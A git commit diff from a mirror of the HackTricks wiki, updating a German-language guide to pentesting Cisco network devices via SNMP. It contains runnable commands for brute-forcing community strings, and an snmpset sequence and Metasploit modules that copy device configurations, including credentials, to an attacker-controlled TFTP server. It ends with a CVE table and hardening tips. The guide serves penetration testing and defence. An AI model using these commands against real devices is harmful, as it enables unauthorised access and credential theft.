mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/pentesting-snmp/cisco-snmp.
This commit is contained in:
parent
b87f86eb5a
commit
e6f0d269a5
@ -4,34 +4,92 @@
|
||||
|
||||
## Pentesting Cisco Netzwerke
|
||||
|
||||
**SNMP** funktioniert über UDP mit den Ports 161/UDP für allgemeine Nachrichten und 162/UDP für Trap-Nachrichten. Dieses Protokoll basiert auf Community-Strings, die als Passwörter dienen und die Kommunikation zwischen SNMP-Agenten und -Servern ermöglichen. Diese Strings sind entscheidend, da sie die Zugriffslevel bestimmen, insbesondere **nur-Lese (RO) oder Lese-Schreib (RW) Berechtigungen**. Ein bemerkenswerter Angriffsvektor für Pentester ist das **Brute-Forcing von Community-Strings**, um in Netzwerkgeräte einzudringen.
|
||||
**SNMP** funktioniert über UDP mit den Ports **161/UDP** für allgemeine Nachrichten und **162/UDP** für Trap-Nachrichten. Dieses Protokoll basiert auf *Community-Strings*, die als Klartext-"Passwörter" dienen, die die Kommunikation zwischen SNMP-Agenten und -Managern ermöglichen. Diese Strings bestimmen das Zugriffslevel, insbesondere **nur-Lese (RO) oder Lese-Schreib (RW) Berechtigungen**.
|
||||
|
||||
Ein praktisches Tool zur Durchführung solcher Brute-Force-Angriffe ist [**onesixtyone**](https://github.com/trailofbits/onesixtyone), das eine Liste potenzieller Community-Strings und die IP-Adressen der Ziele benötigt:
|
||||
Ein klassischer—aber immer noch äußerst effektiver—Angriffsvektor ist es, **Community-Strings zu brute-forcen**, um von einem nicht authentifizierten Benutzer zum Geräteadministrator (RW-Community) aufzusteigen. Ein praktisches Tool für diese Aufgabe ist [**onesixtyone**](https://github.com/trailofbits/onesixtyone):
|
||||
```bash
|
||||
onesixtyone -c communitystrings -i targets
|
||||
onesixtyone -c community_strings.txt -i targets.txt
|
||||
```
|
||||
#### `cisco_config_tftp`
|
||||
|
||||
Das Metasploit-Framework verfügt über das Modul `cisco_config_tftp`, das die Extraktion von Gerätekonfigurationen ermöglicht, vorausgesetzt, dass eine RW-Community-String erlangt wurde. Wesentliche Parameter für diesen Vorgang sind:
|
||||
|
||||
- RW-Community-String (**COMMUNITY**)
|
||||
- IP des Angreifers (**LHOST**)
|
||||
- IP des Zielgeräts (**RHOSTS**)
|
||||
- Zielpfad für die Konfigurationsdateien (**OUTPUTDIR**)
|
||||
|
||||
Nach der Konfiguration ermöglicht dieses Modul den Download der Geräteeinstellungen direkt in einen angegebenen Ordner.
|
||||
|
||||
#### `snmp_enum`
|
||||
|
||||
Ein weiteres Metasploit-Modul, **`snmp_enum`**, spezialisiert sich auf das Sammeln detaillierter Hardwareinformationen. Es arbeitet mit jedem Typ von Community-String und benötigt die IP-Adresse des Ziels für eine erfolgreiche Ausführung:
|
||||
Andere schnelle Optionen sind das Nmap NSE-Skript `snmp-brute` oder Hydras SNMP-Modul:
|
||||
```bash
|
||||
msf6 auxiliary(scanner/snmp/snmp_enum) > set COMMUNITY public
|
||||
msf6 auxiliary(scanner/snmp/snmp_enum) > set RHOSTS 10.10.100.10
|
||||
msf6 auxiliary(scanner/snmp/snmp_enum) > exploit
|
||||
nmap -sU -p161 --script snmp-brute --script-args brute.community=wordlist 10.0.0.0/24
|
||||
hydra -P wordlist.txt -s 161 10.10.10.1 snmp
|
||||
```
|
||||
---
|
||||
|
||||
### Konfiguration über SNMP dumpen (CISCO-CONFIG-COPY-MIB)
|
||||
Wenn Sie eine **RW-Community** erhalten, können Sie die running-config/startup-config auf einen TFTP/FTP-Server *ohne CLI-Zugriff* kopieren, indem Sie die CISCO-CONFIG-COPY-MIB (`1.3.6.1.4.1.9.9.96`) ausnutzen. Zwei gängige Ansätze sind:
|
||||
|
||||
1. **Nmap NSE – `snmp-ios-config`**
|
||||
```bash
|
||||
nmap -sU -p161 --script snmp-ios-config \
|
||||
--script-args creds.snmp=private 192.168.66.1
|
||||
```
|
||||
Das Skript orchestriert automatisch den Kopiervorgang und gibt die Konfiguration auf stdout aus.
|
||||
|
||||
2. **Manuelle `snmpset`-Sequenz**
|
||||
```bash
|
||||
# Copy running-config (4) to a TFTP server (1) – random row id 1234
|
||||
snmpset -v2c -c private 192.168.66.1 \
|
||||
1.3.6.1.4.1.9.9.96.1.1.1.1.2.1234 i 1 \ # protocol = tftp
|
||||
1.3.6.1.4.1.9.9.96.1.1.1.1.3.1234 i 4 \ # sourceFileType = runningConfig
|
||||
1.3.6.1.4.1.9.9.96.1.1.1.1.4.1234 i 1 \ # destFileType = networkFile
|
||||
1.3.6.1.4.1.9.9.96.1.1.1.1.5.1234 a 10.10.14.8 \ # TFTP server IP
|
||||
1.3.6.1.4.1.9.9.96.1.1.1.1.6.1234 s \"backup.cfg\" \\
|
||||
1.3.6.1.4.1.9.9.96.1.1.1.1.14.1234 i 4 # rowStatus = createAndGo
|
||||
```
|
||||
Row-Identifikatoren sind *einmalig*; eine Wiederverwendung innerhalb von fünf Minuten löst `inconsistentValue`-Fehler aus.
|
||||
|
||||
Sobald die Datei auf Ihrem TFTP-Server ist, können Sie Anmeldeinformationen (`enable secret`, `username <user> secret` usw.) überprüfen oder sogar eine modifizierte Konfiguration zurück an das Gerät senden.
|
||||
|
||||
---
|
||||
|
||||
### Metasploit-Goodies
|
||||
|
||||
* **`cisco_config_tftp`** – lädt die running-config/startup-config über TFTP herunter, nachdem dasselbe MIB missbraucht wurde.
|
||||
* **`snmp_enum`** – sammelt Geräteinventarinformationen, VLANs, Schnittstellenbeschreibungen, ARP-Tabellen usw.
|
||||
```bash
|
||||
use auxiliary/scanner/snmp/snmp_enum
|
||||
set RHOSTS 10.10.100.10
|
||||
set COMMUNITY public
|
||||
run
|
||||
```
|
||||
---
|
||||
|
||||
## Aktuelle Cisco SNMP-Sicherheitsanfälligkeiten (2023 – 2025)
|
||||
Die Verfolgung von Anbieterhinweisen ist nützlich, um *zero-day-to-n-day* Möglichkeiten innerhalb eines Engagements zu identifizieren:
|
||||
|
||||
| Jahr | CVE | Betroffene Funktion | Auswirkung |
|
||||
|------|-----|---------------------|------------|
|
||||
| 2025 | CVE-2025-20174 | SNMP-Subsystem | Gefälschter Paket führt zu authentifiziertem *DoS* (Neustart) auf IOS/IOS-XE (v1/v2c/v3). |
|
||||
| 2024 | CVE-2024-20373 | IPv4 ACL-Verarbeitung | Falsch konfigurierte **erweiterte** ACLs *fehlen* stillschweigend, was nicht authentifiziertes SNMP-Polling ermöglicht, wenn eine gültige Community/ein Benutzer bekannt ist. |
|
||||
| 2025 | (noch kein CVE) | Umgehung der SNMPv3-Konfigurationsbeschränkung | Gültiger v3-Benutzer kann von Adressen abfragen, die abgelehnt werden sollten. |
|
||||
|
||||
Die Ausnutzbarkeit hängt oft weiterhin davon ab, die Community-String oder v3-Anmeldeinformationen zu besitzen – ein weiterer Grund, warum das Brute-Forcing relevant bleibt.
|
||||
|
||||
---
|
||||
|
||||
## Tipps zur Härtung & Erkennung
|
||||
|
||||
* Upgrade auf eine feste IOS/IOS-XE-Version (siehe Cisco-Hinweis für das oben genannte CVE).
|
||||
* Bevorzugen Sie **SNMPv3** mit `authPriv` (SHA-256/AES-256) gegenüber v1/v2c.
|
||||
```
|
||||
snmp-server group SECURE v3 priv
|
||||
snmp-server user monitor SECURE v3 auth sha <authpass> priv aes 256 <privpass>
|
||||
```
|
||||
* Binden Sie SNMP an ein Management-VRF und **beschränken Sie es mit *standard* nummerierten IPv4-ACLs** (erweiterte benannte ACLs sind riskant – CVE-2024-20373).
|
||||
* Deaktivieren Sie **RW-Communities**; wenn betrieblich erforderlich, beschränken Sie sie mit ACL und Ansichten:
|
||||
`snmp-server community <string> RW 99 view SysView`
|
||||
* Überwachen Sie auf:
|
||||
- UDP/161-Spitzen oder unerwartete Quellen (SIEM-Regeln).
|
||||
- `CISCO-CONFIG-MAN-MIB::ccmHistoryEventConfigSource`-Ereignisse, die Änderungen an der Konfiguration außerhalb der Bandbreite anzeigen.
|
||||
* Aktivieren Sie **SNMPv3-Protokollierung** und `snmp-server packetsize 1500`, um bestimmte DoS-Vektoren zu reduzieren.
|
||||
|
||||
---
|
||||
|
||||
## Referenzen
|
||||
|
||||
- [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
||||
|
||||
- Cisco: *So kopieren Sie Konfigurationen zu und von Cisco-Geräten mithilfe von SNMP*
|
||||
- Cisco-Sicherheitsberatung *cisco-sa-snmp-uwBXfqww* (CVE-2024-20373)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user